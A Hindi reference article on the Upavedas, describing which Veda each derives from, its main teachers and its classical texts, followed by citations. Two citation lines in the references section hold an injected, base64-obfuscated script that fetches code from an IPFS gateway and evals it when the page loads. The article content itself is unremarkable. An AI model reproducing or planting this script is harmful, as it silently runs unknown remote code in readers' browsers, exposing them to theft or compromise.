उपवेद

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उपवेद उन सब विद्याओं को कहा जाता है, जो वेद के ही अन्तर्गत हों। यह वेद के ही आश्रित तथा वेदों से ही निकले होते हैं। जैसे-

  1. धनुर्वेद - विश्वामित्र ने इसे यजुर्वेद से निकला था।
  2. गन्धर्ववेद - भरतमुनि ने इसे सामवेद से निकाला था।
  3. आयुर्वेद - धन्वंतरि ने इसे ऋग्वेद से इसे निकाला था।
  4. स्थापत्य - विश्वकर्मा ने अथर्ववेद से इसे निकला था।
विद्वानों में मतभेद

इस तथ्य के विषय में कौन उपवेद किस वेद के साथ यथार्थत: संबद्ध है, विद्वानों में ऐकमत्य नहीं है। मधुसूदन सरस्वती के 'प्रस्थानभेद' के अनुसार वेदों के समान ही उपवेद भी क्रमश: चार हैं-आयुर्वेद, धनुर्वेद, संगीतवेद तथा अर्थशास्त्र। इनमें आयुर्वेद ऋग्वेद का उपवेद माना जाता है, परंतु सुश्रुत इसे अथर्ववेद का उपवेद मानते हैं। आयुर्वेद के आठ स्थान माने जाते हैं-सूत्र, शारीर, ऐंद्रिय, चिकित्सा, निदान, विमान, विकल्प तथा सिद्धि एवं इसके प्रवक्ता आचार्यों में मुख्य हैं-ब्रह्म, प्रजापति, आश्विन्‌, धन्वंतरि, भरद्वाज, आत्रेय, अग्निवेश। आत्रेय द्वारा प्रतिपादित तथा उपदिष्ट, अग्निवेश द्वारा निर्मित संहिता को चरक ने प्रतिसंस्कृत किया। इसलिए 'चरकसंहिता' को दृढ़बल ने 'अग्निवेशकृत' तथा 'चरक प्रतिसंस्कृत तंत्र' अंगीकार किया है। चरक, सुश्रुत तथा वाग्भट आयुर्वेद के त्रिमुनि हैं। कामशास्त्र का अंतर्भाव आयुर्वेद के भीतर माना जाता है।[1]

  • यजुर्वेद का उपवेद धनुर्वेद है जिसका सर्वप्राचीन ग्रंथ विश्वामित्र की रचना माना जाता है। इसमें चार पाद हैं-दीक्षापाद, संग्रहपाद, सिद्धिपाद तथा प्रयोगपाद ('प्रस्थानभेद' के अनुसार)। इस उपवेद में अस्त्र-शस्त्रों के ग्रहण, शिक्षण, अभ्यास तथा प्रयोग का सांगोपांग वर्णन किया गया है। 'कोदंडमंडन' धनुविद्या का बड़ा ही प्रामाणिक ग्रंथ माना जाता है।
  • संगीतवेद सामवेद का उपवेद है जिसमें नृत्य, गीत तथा वाद्य के सिद्धांत एवं प्रयोग, ग्रहण तथा प्रदर्शन का रोचक विवरण प्रस्तुत किया गया है। इस वेद के प्रधान आचार्य भरतमुनि हैं जिन्होंने अपने 'नाट्यशास्त्र' में नाट्य के साथ संगीत का भी प्रामाणिक वर्णन किया है। कोहल ने संगीत के ऊपर एक मान्य ग्रंथ लिखा था जिसका एक अंश 'तालाध्याय' आज उपलब्ध है। मातंग के 'बृहद्देशी', नारद के 'संगीतमकरंद', शार्ङ्‌गदेव के 'संगीतरत्नाकर' आदि ग्रंथों की रचना के कारण यह उपवेद अत्यंत समृद्ध है।
  • अर्थशास्त्र अथर्ववेद का उपवेद है। राजनीति तथा दंडनीति इसी के नामांतर हैं। बृहस्पति, उशना, विशालक्ष, भरद्वाज, पराशर आदि इसके प्रधान आचार्य हैं। कौटिल्य का 'अर्थशास्त्र' नितांत प्रसिद्ध है। 'शिल्पशास्त्र' की गणना भी इसी उपवेद के अंतर्गत की जाती है।[2]



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टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणाप्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी |पृष्ठ संख्या: 59 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 123 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. सं.ग्रं.-मधुसूदन सरस्वती : प्रस्थानभेद, आनंदाश्रम, पूना, 1906।

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श्रुतियाँ
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